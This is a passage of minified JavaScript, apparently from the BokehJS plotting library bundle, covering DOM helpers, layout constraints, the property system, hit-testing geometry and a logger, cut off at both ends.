0,[e].concat(i))},i.div=r(\\\"div\\\"),i.span=r(\\\"span\\\"),i.link=r(\\\"link\\\"),i.style=r(\\\"style\\\"),i.a=r(\\\"a\\\"),i.p=r(\\\"p\\\"),i.i=r(\\\"i\\\"),i.pre=r(\\\"pre\\\"),i.button=r(\\\"button\\\"),i.label=r(\\\"label\\\"),i.input=r(\\\"input\\\"),i.select=r(\\\"select\\\"),i.option=r(\\\"option\\\"),i.optgroup=r(\\\"optgroup\\\"),i.textarea=r(\\\"textarea\\\"),i.canvas=r(\\\"canvas\\\"),i.ul=r(\\\"ul\\\"),i.ol=r(\\\"ol\\\"),i.li=r(\\\"li\\\"),i.nbsp=document.createTextNode(\\\"Â \\\"),i.removeElement=function(t){var e=t.parentNode;null!=e&&e.removeChild(t)},i.replaceWith=function(t,e){var i=t.parentNode;null!=i&&i.replaceChild(e,t)},i.prepend=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.firstChild,r=0,o=e;r<o.length;r++){var s=o[r];t.insertBefore(s,n)}},i.empty=function(t){for(var e;e=t.firstChild;)t.removeChild(e)},i.show=function(t){t.style.display=\\\"\\\"},i.hide=function(t){t.style.display=\\\"none\\\"},i.position=function(t){return{top:t.offsetTop,left:t.offsetLeft}},i.offset=function(t){var e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset-document.documentElement.clientTop,left:e.left+window.pageXOffset-document.documentElement.clientLeft}},i.matches=o,i.parent=function(t,e){for(var i=t;i=i.parentElement;)if(o(i,e))return i;return null},i.margin=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.marginTop)||0,bottom:parseFloat(e.marginBottom)||0,left:parseFloat(e.marginLeft)||0,right:parseFloat(e.marginRight)||0}},i.padding=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.paddingTop)||0,bottom:parseFloat(e.paddingBottom)||0,left:parseFloat(e.paddingLeft)||0,right:parseFloat(e.paddingRight)||0}},(n=i.Keys||(i.Keys={}))[n.Backspace=8]=\\\"Backspace\\\",n[n.Tab=9]=\\\"Tab\\\",n[n.Enter=13]=\\\"Enter\\\",n[n.Esc=27]=\\\"Esc\\\",n[n.PageUp=33]=\\\"PageUp\\\",n[n.PageDown=34]=\\\"PageDown\\\",n[n.Left=37]=\\\"Left\\\",n[n.Up=38]=\\\"Up\\\",n[n.Right=39]=\\\"Right\\\",n[n.Down=40]=\\\"Down\\\",n[n.Delete=46]=\\\"Delete\\\"},function(t,e,i){var n=t(391),r=t(48),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._has_finished=!1,this.el=this._createElement()},t.prototype.remove=function(){o.removeElement(this.el),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return[]},t.prototype.cursor=function(t,e){return null},t.prototype.layout=function(){},t.prototype.render=function(){},t.prototype.renderTo=function(t){t.appendChild(this.el),this.layout()},t.prototype.has_finished=function(){return this._has_finished},Object.defineProperty(t.prototype,\\\"_root_element\\\",{get:function(){return o.parent(this.el,\\\".bk-root\\\")||document.body},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"solver\\\",{get:function(){return this.is_root?this._solver:this.parent.solver},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_idle\\\",{get:function(){return this.has_finished()},enumerable:!0,configurable:!0}),t.prototype._createElement=function(){return o.createElement(this.tagName,{id:this.id,class:this.css_classes()})},t}(r.View);(i.DOMView=s).prototype.tagName=\\\"div\\\"},function(t,e,i){i.AngleUnits=[\\\"deg\\\",\\\"rad\\\"],i.Dimension=[\\\"width\\\",\\\"height\\\"],i.Dimensions=[\\\"width\\\",\\\"height\\\",\\\"both\\\"],i.Direction=[\\\"clock\\\",\\\"anticlock\\\"],i.FontStyle=[\\\"normal\\\",\\\"italic\\\",\\\"bold\\\",\\\"bold italic\\\"],i.LatLon=[\\\"lat\\\",\\\"lon\\\"],i.LineCap=[\\\"butt\\\",\\\"round\\\",\\\"square\\\"],i.LineJoin=[\\\"miter\\\",\\\"round\\\",\\\"bevel\\\"],i.Location=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.LegendClickPolicy=[\\\"none\\\",\\\"hide\\\",\\\"mute\\\"],i.LegendLocation=[\\\"top_left\\\",\\\"top_center\\\",\\\"top_right\\\",\\\"center_left\\\",\\\"center\\\",\\\"center_right\\\",\\\"bottom_left\\\",\\\"bottom_center\\\",\\\"bottom_right\\\"],i.Anchor=i.LegendLocation,i.Orientation=[\\\"vertical\\\",\\\"horizontal\\\"],i.OutputBackend=[\\\"canvas\\\",\\\"svg\\\",\\\"webgl\\\"],i.RenderLevel=[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\",\\\"annotation\\\",\\\"overlay\\\"],i.RenderMode=[\\\"canvas\\\",\\\"css\\\"],i.Side=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.Place=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.SpatialUnits=[\\\"screen\\\",\\\"data\\\"],i.StartEnd=[\\\"start\\\",\\\"end\\\"],i.VerticalAlign=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\"],i.TextAlign=[\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.TextBaseline=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\",\\\"alphabetic\\\",\\\"hanging\\\",\\\"ideographic\\\"],i.TickLabelOrientation=[\\\"vertical\\\",\\\"horizontal\\\",\\\"parallel\\\",\\\"normal\\\"],i.TooltipAttachment=[\\\"horizontal\\\",\\\"vertical\\\",\\\"left\\\",\\\"right\\\",\\\"above\\\",\\\"below\\\"],i.Distribution=[\\\"uniform\\\",\\\"normal\\\"],i.StepMode=[\\\"after\\\",\\\"before\\\",\\\"center\\\"],i.SizingMode=[\\\"stretch_both\\\",\\\"scale_width\\\",\\\"scale_height\\\",\\\"scale_both\\\",\\\"fixed\\\"],i.PaddingUnits=[\\\"percent\\\",\\\"absolute\\\"],i.SliderCallbackPolicy=[\\\"continuous\\\",\\\"throttle\\\",\\\"mouseup\\\"],i.RoundingFunction=[\\\"round\\\",\\\"nearest\\\",\\\"floor\\\",\\\"rounddown\\\",\\\"ceil\\\",\\\"roundup\\\"],i.UpdateMode=[\\\"replace\\\",\\\"append\\\"],i.HTTPMethod=[\\\"POST\\\",\\\"GET\\\"],i.Logo=[\\\"normal\\\",\\\"grey\\\"]},function(t,e,i){var o=t(391),l=t(19),n=t(16),h=t(34),r=t(15),u=t(38),s=t(21),_=t(32),p=t(44),d=t(30),a=function(a){function c(t){void 0===t&&(t={});var e=a.call(this)||this;for(var i in e._subtype=void 0,e.document=null,e.destroyed=new l.Signal0(e,\\\"destroyed\\\"),e.change=new l.Signal0(e,\\\"change\\\"),e.transformchange=new l.Signal0(e,\\\"transformchange\\\"),e.attributes={},e.properties={},e._set_after_defaults={},e._pending=!1,e._changing=!1,e.props){var n=e.props[i],r=n.type,o=n.default_value;if(null==r)throw new Error(\\\"undefined property type for \\\"+e.type+\\\".\\\"+i);e.properties[i]=new r(e,i,o)}null==t.id&&e.setv({id:u.uniqueId()},{silent:!0});var s=t.__deferred__||!1;return s&&delete(t=_.clone(t)).__deferred__,e.setv(t,{silent:!0}),s||e.finalize(),e}return o.__extends(c,a),c.initClass=function(){this.prototype.type=\\\"HasProps\\\",this.prototype.props={},this.prototype.mixins=[],this.define({id:[r.Any]})},c._fix_default=function(t,e){return void 0===t?void 0:p.isFunction(t)?t:p.isObject(t)?p.isArray(t)?function(){return s.copy(t)}:function(){return _.clone(t)}:function(){return t}},c.define=function(a){var t=function(i){var t=a[i];if(null!=l.prototype.props[i])throw new Error(\\\"attempted to redefine property '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");if(null!=l.prototype[i])throw new Error(\\\"attempted to redefine attribute '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");Object.defineProperty(l.prototype,i,{get:function(){var t=this.getv(i);return t},set:function(t){var e;return this.setv(((e={})[i]=t,e)),this},configurable:!1,enumerable:!0});var e=t[0],n=t[1],r=t[2],o={type:e,default_value:l._fix_default(n,i),internal:r||!1},s=_.clone(l.prototype.props);s[i]=o,l.prototype.props=s},l=this;for(var e in a)t(e)},c.internal=function(t){var e={};for(var i in t){var n=t[i],r=n[0],o=n[1];e[i]=[r,o,!0]}this.define(e)},c.mixin=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this.define(n.create(t));var i=this.prototype.mixins.concat(t);this.prototype.mixins=i},c.mixins=function(t){this.mixin.apply(this,t)},c.override=function(t){for(var e in t){var i=this._fix_default(t[e],e),n=this.prototype.props[e];if(null==n)throw new Error(\\\"attempted to override nonexistent '\\\"+this.prototype.type+\\\".\\\"+e+\\\"'\\\");var r=_.clone(this.prototype.props);r[e]=o.__assign({},n,{default_value:i}),this.prototype.props=r}},c.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\")\\\"},c.prototype.finalize=function(){var t=this;for(var e in this.properties){var i=this.properties[e];i.update(),null!=i.spec.transform&&this.connect(i.spec.transform.change,function(){return t.transformchange.emit()})}this.initialize(),this.connect_signals()},c.prototype.initialize=function(){},c.prototype.connect_signals=function(){},c.prototype.disconnect_signals=function(){l.Signal.disconnectReceiver(this)},c.prototype.destroy=function(){this.disconnect_signals(),this.destroyed.emit()},c.prototype.clone=function(){return new this.constructor(this.attributes)},c.prototype._setv=function(t,e){var i=e.check_eq,n=e.silent,r=[],o=this._changing;this._changing=!0;var s=this.attributes;for(var a in t){var l=t[a];!1!==i&&d.isEqual(s[a],l)||r.push(a),s[a]=l}if(!n){0<r.length&&(this._pending=!0);for(var h=0;h<r.length;h++)this.properties[r[h]].change.emit()}if(!o){if(!n&&!e.no_change)for(;this._pending;)this._pending=!1,this.change.emit();this._pending=!1,this._changing=!1}},c.prototype.setv=function(t,e){for(var i in void 0===e&&(e={}),t)if(t.hasOwnProperty(i)){var n=i;if(null==this.props[n])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+n+\\\" wasn't declared\\\");null!=e&&e.defaults||(this._set_after_defaults[i]=!0)}if(!_.isEmpty(t)){var r={};for(var i in t)r[i]=this.getv(i);this._setv(t,e);var o=e.silent;if(null==o||!o)for(var i in t)this._tell_document_about_change(i,r[i],this.getv(i),e)}},c.prototype.getv=function(t){if(null==this.props[t])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+t+\\\" wasn't declared\\\");return this.attributes[t]},c.prototype.ref=function(){return h.create_ref(this)},c.prototype.set_subtype=function(t){this._subtype=t},c.prototype.attribute_is_serializable=function(t){var e=this.props[t];if(null==e)throw new Error(this.type+\\\".attribute_is_serializable('\\\"+t+\\\"'): \\\"+t+\\\" wasn't declared\\\");return!e.internal},c.prototype.serializable_attributes=function(){var t={};for(var e in this.attributes){var i=this.attributes[e];this.attribute_is_serializable(e)&&(t[e]=i)}return t},c._value_to_json=function(t,e,i){if(e instanceof c)return e.ref();if(p.isArray(e)){for(var n=[],r=0;r<e.length;r++){var o=e[r];n.push(c._value_to_json(r.toString(),o,e))}return n}if(p.isPlainObject(e)){var s={};for(var a in e)e.hasOwnProperty(a)&&(s[a]=c._value_to_json(a,e[a],e));return s}return e},c.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=c._value_to_json);var i=this.serializable_attributes(),n={};for(var r in i)if(i.hasOwnProperty(r)){var o=i[r];t?n[r]=o:r in this._set_after_defaults&&(n[r]=o)}return e(\\\"attributes\\\",n,this)},c._json_record_references=function(t,e,i,n){if(null==e);else if(h.is_ref(e)){if(!(e.id in i)){var r=t.get_model_by_id(e.id);c._value_record_references(r,i,n)}}else if(p.isArray(e))for(var o=0,s=e;o<s.length;o++){var a=s[o];c._json_record_references(t,a,i,n)}else if(p.isPlainObject(e))for(var l in e)if(e.hasOwnProperty(l)){var a=e[l];c._json_record_references(t,a,i,n)}},c._value_record_references=function(t,e,i){if(null==t);else if(t instanceof c){if(!(t.id in e)&&(e[t.id]=t,i))for(var n=t._immediate_references(),r=0,o=n;r<o.length;r++){var s=o[r];c._value_record_references(s,e,!0)}}else if(t.buffer instanceof ArrayBuffer);else if(p.isArray(t))for(var a=0,l=t;a<l.length;a++){var h=l[a];c._value_record_references(h,e,i)}else if(p.isPlainObject(t))for(var u in t)if(t.hasOwnProperty(u)){var h=t[u];c._value_record_references(h,e,i)}},c.prototype._immediate_references=function(){var t={},e=this.serializable_attributes();for(var i in e){var n=e[i];c._value_record_references(n,t,!1)}return _.values(t)},c.prototype.references=function(){var t={};return c._value_record_references(this,t,!0),_.values(t)},c.prototype._doc_attached=function(){},c.prototype.attach_document=function(t){if(null!=this.document&&this.document!=t)throw new Error(\\\"models must be owned by only a single document\\\");this.document=t,this._doc_attached()},c.prototype.detach_document=function(){this.document=null},c.prototype._tell_document_about_change=function(t,e,i,n){if(this.attribute_is_serializable(t)&&null!=this.document){var r={};c._value_record_references(i,r,!1);var o={};c._value_record_references(e,o,!1);var s=!1;for(var a in r)if(!(a in o)){s=!0;break}if(!s)for(var l in o)if(!(l in r)){s=!0;break}s&&this.document._invalidate_all_models(),this.document._notify_change(this,t,e,i,n)}},c.prototype.materialize_dataspecs=function(t){var e={};for(var i in this.properties){var n=this.properties[i];n.dataspec&&(!n.optional||null!=n.spec.value||i in this._set_after_defaults)&&(e[\\\"_\\\"+i]=n.array(t),null!=n.spec.field&&n.spec.field in t._shapes&&(e[\\\"_\\\"+i+\\\"_shape\\\"]=t._shapes[n.spec.field]),n instanceof r.DistanceSpec&&(e[\\\"max_\\\"+i]=s.max(e[\\\"_\\\"+i])))}return e},c}(l.Signalable());(i.HasProps=a).initClass()},function(t,e,i){var n=t(21),r=t(197);function o(t){return t*t}function s(t,e){return o(t.x-e.x)+o(t.y-e.y)}function a(t,e,i){var n=s(e,i);if(0==n)return s(t,e);var r=((t.x-e.x)*(i.x-e.x)+(t.y-e.y)*(i.y-e.y))/n;if(r<0)return s(t,e);if(1<r)return s(t,i);var o={x:e.x+r*(i.x-e.x),y:e.y+r*(i.y-e.y)};return s(t,o)}i.point_in_poly=function(t,e,i,n){for(var r=!1,o=i[i.length-1],s=n[n.length-1],a=0;a<i.length;a++){var l=i[a],h=n[a];s<e!=h<e&&o+(e-s)/(h-s)*(l-o)<t&&(r=!r),o=l,s=h}return r},i.point_in_ellipse=function(t,e,i,n,r,o,s){var a=Math.pow(Math.cos(i)/r,2)+Math.pow(Math.sin(i)/n,2),l=2*Math.cos(i)*Math.sin(i)*(Math.pow(1/r,2)-Math.pow(1/n,2)),h=Math.pow(Math.cos(i)/n,2)+Math.pow(Math.sin(i)/r,2);return a*Math.pow(t-o,2)+l*(t-o)*(e-s)+h*Math.pow(e-s,2)<=1},i.create_empty_hit_test_result=function(){return new r.Selection},i.create_hit_test_result_from_hits=function(t){var e=new r.Selection;return e.indices=n.sortBy(t,function(t){return t[0],t[1]}).map(function(t){var e=t[0];return t[1],e}),e},i.validate_bbox_coords=function(t,e){var i,n,r=t[0],o=t[1],s=e[0],a=e[1];return o<r&&(r=(i=[o,r])[0],o=i[1]),a<s&&(s=(n=[a,s])[0],a=n[1]),{minX:r,minY:s,maxX:o,maxY:a}},i.dist_2_pts=s,i.dist_to_segment_squared=a,i.dist_to_segment=function(t,e,i){return Math.sqrt(a(t,e,i))},i.check_2_segments_intersect=function(t,e,i,n,r,o,s,a){var l=(a-o)*(i-t)-(s-r)*(n-e);if(0==l)return{hit:!1,x:null,y:null};var h=e-o,u=t-r,c=(s-r)*h-(a-o)*u,_=(i-t)*h-(n-e)*u;u=_/l;var p=t+(h=c/l)*(i-t),d=e+h*(n-e);return{hit:0<h&&h<1&&0<u&&u<1,x:p,y:d}}},function(t,e,i){var s=t(13),a=t(21);i.vstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._bottom,[-1,t._bottom])),i.push(s.EQ(a.tail(e)._top,[-1,t._top])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._top,[-1,e._bottom])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._left,[-1,t._left])),i.push(s.EQ(o._right,[-1,t._right]))}}return i},i.hstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._right,[-1,t._right])),i.push(s.EQ(a.tail(e)._left,[-1,t._left])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._left,[-1,e._right])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._top,[-1,t._top])),i.push(s.EQ(o._bottom,[-1,t._bottom]))}}return i}},function(t,e,i){var n=t(391),r=t(13),o=t(8),s=t(24),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutCanvas\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._top=new r.Variable(this.toString()+\\\".top\\\"),this._left=new r.Variable(this.toString()+\\\".left\\\"),this._width=new r.Variable(this.toString()+\\\".width\\\"),this._height=new r.Variable(this.toString()+\\\".height\\\"),this._right=new r.Variable(this.toString()+\\\".right\\\"),this._bottom=new r.Variable(this.toString()+\\\".bottom\\\");var t=this;this._hcenter={get value(){return(t._left.value+t._right.value)/2}},this._vcenter={get value(){return(t._top.value+t._bottom.value)/2}}},t.prototype.get_editables=function(){return[]},t.prototype.get_constraints=function(){return[r.GE(this._top),r.GE(this._bottom),r.GE(this._left),r.GE(this._right),r.GE(this._width),r.GE(this._height),r.EQ(this._left,this._width,[-1,this._right]),r.EQ(this._top,this._height,[-1,this._bottom])]},t.prototype.get_layoutable_children=function(){return[]},Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){return new s.BBox({x0:this._left.value,y0:this._top.value,x1:this._right.value,y1:this._bottom.value})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xview\\\",{get:function(){var r=this;return{compute:function(t){return r._left.value+t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._left.value,n=0;n<t.length;n++)e[n]=i+t[n];return e}}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yview\\\",{get:function(){var r=this;return{compute:function(t){return r._bottom.value-t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._bottom.value,n=0;n<t.length;n++)e[n]=i-t[n];return e}}},enumerable:!0,configurable:!0}),t}(o.HasProps);(i.LayoutCanvas=a).initClass()},function(t,e,r){var i=t(391),o=t(13),n=t(11),s=t(15),a=t(14),l=t(44),h=Math.PI/2,u=\\\"alphabetic\\\",c=\\\"middle\\\",_=\\\"hanging\\\",p=\\\"left\\\",d=\\\"right\\\",f=\\\"center\\\",v={above:{parallel:0,normal:-h,horizontal:0,vertical:-h},below:{parallel:0,normal:h,horizontal:0,vertical:h},left:{parallel:-h,normal:0,horizontal:0,vertical:-h},right:{parallel:h,normal:0,horizontal:0,vertical:h}},m={above:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:u,vertical:c},below:{justified:\\\"bottom\\\",parallel:_,normal:c,horizontal:_,vertical:c},left:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u},right:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u}},g={above:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},below:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},left:{justified:f,parallel:f,normal:d,horizontal:d,vertical:f},right:{justified:f,parallel:f,normal:p,horizontal:p,vertical:f}},y={above:d,below:p,left:d,right:p},b={above:p,below:d,left:d,right:p};function x(t){return\\\"panel\\\"in t}r.isSizeable=x,r.isSizeableView=function(t){return x(t.model)&&\\\"get_size\\\"in t},r._view_sizes=new WeakMap,r._view_constraints=new WeakMap,r.update_panel_constraints=function(t){var e=t.solver,i=t.get_size(),n=r._view_constraints.get(t);if(null!=n&&e.has_constraint(n)){if(r._view_sizes.get(t)===i)return;e.remove_constraint(n)}n=o.GE(t.model.panel._size,-i),e.add_constraint(n),r._view_sizes.set(t,i),r._view_constraints.set(t,n)};var w=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SidePanel\\\",this.internal({side:[s.String]})},t.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\", \\\"+this.side+\\\")\\\"},t.prototype.initialize=function(){switch(e.prototype.initialize.call(this),this.side){case\\\"above\\\":this._dim=0,this._normals=[0,-1],this._size=this._height;break;case\\\"below\\\":this._dim=0,this._normals=[0,1],this._size=this._height;break;case\\\"left\\\":this._dim=1,this._normals=[-1,0],this._size=this._width;break;case\\\"right\\\":this._dim=1,this._normals=[1,0],this._size=this._width;break;default:a.logger.error(\\\"unrecognized side: '\\\"+this.side+\\\"'\\\")}},Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this._dim},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this._normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_horizontal\\\",{get:function(){return\\\"above\\\"==this.side||\\\"below\\\"==this.side},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_vertical\\\",{get:function(){return\\\"left\\\"==this.side||\\\"right\\\"==this.side},enumerable:!0,configurable:!0}),t.prototype.apply_label_text_heuristics=function(t,e){var i,n,r=this.side;l.isString(e)?(i=m[r][e],n=g[r][e]):0===e?n=i=\\\"whatever\\\":e<0?(i=\\\"middle\\\",n=y[r]):(i=\\\"middle\\\",n=b[r]),t.textBaseline=i,t.textAlign=n},t.prototype.get_label_angle_heuristic=function(t){return v[this.side][t]},t}(n.LayoutCanvas);(r.SidePanel=w).initClass()},function(t,e,i){var n=t(350);function r(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i)}}function o(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i,n.Strength.weak)}}i.Variable=n.Variable,i.Expression=n.Expression,i.Constraint=n.Constraint,i.Operator=n.Operator,i.Strength=n.Strength,i.EQ=r(n.Operator.Eq),i.LE=r(n.Operator.Le),i.GE=r(n.Operator.Ge),i.WEAK_EQ=o(n.Operator.Eq),i.WEAK_LE=o(n.Operator.Le),i.WEAK_GE=o(n.Operator.Ge);var s=function(){function t(){this.solver=new n.Solver}return t.prototype.clear=function(){this.solver=new n.Solver},t.prototype.toString=function(){return\\\"Solver(num_constraints=\\\"+this.num_constraints+\\\", num_editables=\\\"+this.num_editables+\\\")\\\"},Object.defineProperty(t.prototype,\\\"num_constraints\\\",{get:function(){return this.solver.numConstraints},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"num_editables\\\",{get:function(){return this.solver.numEditVariables},enumerable:!0,configurable:!0}),t.prototype.get_constraints=function(){return this.solver.getConstraints()},t.prototype.update_variables=function(){this.solver.updateVariables()},t.prototype.has_constraint=function(t){return this.solver.hasConstraint(t)},t.prototype.add_constraint=function(e){try{this.solver.addConstraint(e)}catch(t){throw new Error(t.message+\\\": \\\"+e.toString())}},t.prototype.remove_constraint=function(t){this.solver.removeConstraint(t)},t.prototype.add_edit_variable=function(t,e){this.solver.addEditVariable(t,e)},t.prototype.remove_edit_variable=function(t){this.solver.removeEditVariable(t)},t.prototype.suggest_value=function(t,e){this.solver.suggestValue(t,e)},t}();i.Solver=s},function(t,e,i){var o=t(44),n={},s=function(t,e){this.name=t,this.level=e};i.LogLevel=s;var r=function(){function r(t,e){void 0===e&&(e=r.INFO),this._name=t,this.set_level(e)}return Object.defineProperty(r,\\\"levels\\\",{get:function(){return Object.keys(r.log_levels)},enumerable:!0,configurable:!0}),r.get=function(t,e){if(void 0===e&&(e=r.INFO),0<t.length){var i=n[t];return null==i&&(n[t]=i=new r(t,e)),i}throw new TypeError(\\\"Logger.get() expects a non-empty string name and an optional log-level\\\")},Object.defineProperty(r.prototype,\\\"level\\\",{get:function(){return this.get_level()},enumerable:!0,configurable:!0}),r.prototype.get_level=function(){return this._log_level},r.prototype.set_level=function(t){if(t instanceof s)this._log_level=t;else{if(!o.isString(t)||null==r.log_levels[t])throw new Error(\\\"Logger.set_level() expects a log-level object or a string name of a log-level\\\");this._log_level=r.log_levels[t]}var e=\\\"[\\\"+this._name+\\\"]\\\";for(var i in r.log_levels){var n=r.log_levels[i];n.level<this._log_level.level||this._log_level.level===r.OFF.level?this[i]=function(){}:this[i]=a(i,e)}},r.prototype.trace=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.debug=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.info=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.warn=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.error=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.TRACE=new s(\\\"trace\\\",0),r.DEBUG=new s(\\\"debug\\\",1),r.INFO=new s(\\\"info\\\",2),r.WARN=new s(\\\"warn\\\",6),r.ERROR=new s(\\\"error\\\",7),r.FATAL=new s(\\\"fatal\\\",8),r.OFF=new s(\\\"off\\\",9),r.log_levels={trace:r.TRACE,debug:r.DEBUG,info:r.INFO,warn:r.WARN,error:r.ERROR,fatal:r.FATAL,off:r.OFF},r}();function a(t,e){return null!=console[t]?console[t].bind(console,e):null!=console.log?console.log.bind(console,e):function(){}}i.Logger=r,i.logger=r.get(\\\"bokeh\\\"),i.set_log_level=function(t){null==r.log_levels[t]?(console.log(\\\"[bokeh] unrecognized logging level '\\\"+t+\\\"' passed to Bokeh.set_log_level(), ignoring\\\"),console.log(\\\"[bokeh] valid log levels are: \\\"+r.levels.join(\\\", \\\"))):(console.log(\\\"[bokeh] setting log level to: '\\\"+t+\\\"'\\\"),i.logger.set_level(t))}},function(t,e,i){var o=t(391),s=t(19),n=t(7),r=t(39),a=t(27),l=t(21),h=t(22),u=t(44);function c(e){try{return JSON.stringify(e)}catch(t){return e.toString()}}function _(t){return u.isPlainObject(t)&&(void 0===t.value?0:1)+(void 0===t.field?0:1)+(void 0===t.expr?0:1)==1}s.Signal,i.isSpec=_;var p=function(r){function t(t,e,i){var n=r.call(this)||this;return n.obj=t,n.attr=e,n.default_value=i,n.optional=!1,n.obj=t,n.attr=e,n.default_value=i,n.change=new s.Signal0(n.obj,\\\"change\\\"),n._init(),n.connect(n.change,function(){return n._init()}),n}return o.__extends(t,r),t.prototype.update=function(){this._init()},t.prototype.init=function(){},t.prototype.transform=function(t){return t},t.prototype.validate=function(t){},t.prototype.value=function(t){if(void 0===t&&(t=!0),void 0===this.spec.value)throw new Error(\\\"attempted to retrieve property value for property without value specification\\\");var e=this.transform([this.spec.value])[0];return null!=this.spec.transform&&t&&(e=this.spec.transform.compute(e)),e},t.prototype.array=function(t){if(!this.dataspec)throw new Error(\\\"attempted to retrieve property array for non-dataspec property\\\");var e;if(null!=this.spec.field){if(null==(e=this.transform(t.get_column(this.spec.field))))throw new Error(\\\"attempted to retrieve property array for nonexistent field '\\\"+this.spec.field+\\\"'\\\")}else if(null!=this.spec.expr)e=this.transform(this.spec.expr.v_compute(t));else{var i=t.get_length();null==i&&(i=1);var n=this.value(!1);e=l.repeat(n,i)}return null!=this.spec.transform&&(e=this.spec.transform.v_compute(e)),e},t.prototype._init=function(){var t,e=this.obj,i=this.attr,n=e.getv(i);if(void 0===n){var r=this.default_value;n=void 0!==r?r(e):null,e.setv(((t={})[i]=n,t),{silent:!0,defaults:!0})}if(u.isArray(n)?this.spec={value:n}:_(n)?this.spec=n:this.spec={value:n},this.dataspec&&null!=this.spec.field&&!u.isString(this.spec.field))throw new Error(\\\"field value for property '\\\"+i+\\\"' is not a string\\\");null!=this.spec.value&&this.validate(this.spec.value),this.init()},t.prototype.toString=function(){return\\\"Prop(\\\"+this.obj+\\\".\\\"+this.attr+\\\", spec: \\\"+c(this.spec)+\\\")\\\"},t}(s.Signalable());function d(i,n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.validate=function(t){if(!n(t))throw new Error(i+\\\" property '\\\"+this.attr+\\\"' given invalid value: \\\"+c(t))},e}(p)}(i.Property=p).prototype.dataspec=!1;var f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.simple_prop=d)(\\\"Any\\\",function(t){return!0}));i.Any=f;var v=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Array\\\",function(t){return u.isArray(t)||t instanceof Float64Array}));i.Array=v;var m=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Bool\\\",u.isBoolean));i.Bool=m,i.Boolean=m;var g=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Color\\\",function(t){return u.isString(t)&&(r.is_svg_color(t.toLowerCase())||\\\"#\\\"==t.substring(0,1)||a.valid_rgb(t))}));i.Color=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Instance\\\",function(t){return null!=t.properties}));i.Instance=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return 